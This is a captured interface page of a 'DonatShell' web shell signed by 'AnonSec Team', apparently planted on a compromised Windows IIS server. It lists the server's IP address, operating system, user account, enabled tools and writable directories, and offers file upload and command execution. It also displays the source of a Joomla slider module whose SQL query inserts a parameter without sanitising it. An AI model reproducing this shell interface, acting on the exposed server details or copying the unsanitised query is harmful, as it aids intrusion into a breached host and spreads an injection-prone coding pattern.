DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/modules/mod_slider/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/modules/mod_slider/mod_slider.php
<?php

defined('_JEXEC') or die('Restricted access');

if (!function_exists('randomkeys')) {
	function randomkeys($length) {
		$key = '';
		$pattern = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
		for($i = 0; $i < $length; $i++)	{
			$key .= $pattern{rand(0,strlen($pattern)-1)};
		}
		return $key;
	}
}

global $mainframe;
$doc =& JFactory::getDocument();
// $lang =& JFactory::getLanguage(); $lang = explode('-', $lang->_lang); $lng = $lang[0];

// module parameters
$catid = trim($params->get('catid'));
$uniqueid = trim($params->get('uniqueid'));
$interval = trim($params->get('interval'));
$transition = trim($params->get('transition'));
$width = trim($params->get('width'));
$height = trim($params->get('height'));
$jquery_loaded = trim($params->get('jquery_loaded'));
$display_titles = trim($params->get('display_titles'));
$randomize = trim($params->get('randomize'));
$use_keyboard = trim($params->get('use_keyboard'));
$link_titles = trim($params->get('link_titles'));
$default_itemid = trim($params->get('default_itemid'));
$process_plugins = trim($params->get('process_plugins'));

if ($uniqueid == "") {
	$uid = randomkeys(16);
} else {
	$uid = $uniqueid;
}
if ($jquery_loaded == 0) { ?>
<!-- <script src="modules/mod_slider/jquery-1.7.2.min.js" type="text/javascript" language="javascript"></script> -->
<?php } ?>

<?php
$doc->addStyleSheet('modules/mod_slider/scrollable.css');
$style = "
div.csm_scrollable.$uid, div.csm_scrollable.$uid div.csm_items div {
	width:{$width}px;
	height:{$height}px;
	overflow:hidden;
}
";
$doc->addStyleDeclaration($style);
// <link rel="stylesheet" type="text/css" href="modules/mod_slider/scrollable.css" />

$use_keyboard = ($use_keyboard == 0)?"keyboard:0,":"";
$transition = ($transition != '')?"speed:$transition,":"";

?>

<script type="text/javascript" language="javascript">
(function($){
	$(document).ready(function(){
		$('div.csm_scrollable.<?php echo $uid; ?>').scrollable({
			<?php echo $use_keyboard . "\n" . $transition . "\n"; ?>
			size:1,
			circular:true
		}).autoscroll(<?php echo $interval; ?>);
	});
})(jQuery);
</script>

<div class="csm_scrollable <?php echo $uid; ?>">
	<div class="csm_items">

<?php
jimport( 'joomla.database.table.content' );
$db =& JFactory::getDBO();
if ($randomize == 1) {
	$order = "rand()";
} else {
	$order = "ordering";
}

$query = "SELECT id FROM #__content
		  WHERE state = '1'
		  	AND catid = '$catid'
		  	AND publish_up <= NOW()
		  	AND (publish_down >= NOW() OR publish_down = 0)
		  ORDER BY $order";
$db->setQuery($query);
$result = $db->loadResultArray();

$csm_table =& JTable::getInstance('content');


foreach ($result as $id) {
	$csm_table->load($id);
	$title = $csm_table->title;
	$introtext = $csm_table->introtext;
	if ($process_plugins == 1) {
		$tmp = new stdClass();
		$tmp->text =& $introtext;
		JPluginHelper::importPlugin('content');
		$dispatcher =& JDispatcher::getInstance();
		$dispatcher->trigger('onPrepareContent', array(&$tmp, &$params));
		$introtext =& $tmp->text;
	}
	?>
	<div class="csm_item">
		<?php if ($display_titles == 1) { ?>
		<h4 class="contentheading">
			<?php
				if ($link_titles) {
					$link = 'index.php?option=com_content&amp;view=article&amp;id='.$id;
					if (isset($default_itemid) && $default_itemid != 0) {
						$link .= '&amp;Itemid='.$default_itemid;
					}
					// $link .= '&amp;lang='.$lng;
					$link = '<a href="'.JRoute::_($link).'">';
					$title = $link . $title . '</a>';
				}
				echo $title; ?>
		</h4>
		<?php } ?>
		<p class="intro-what-new">
			<?php echo $introtext; ?>
		</p>
	</div>
	<?php
}
?>
	</div>
</div>

Anon7 - 2022
AnonSec Team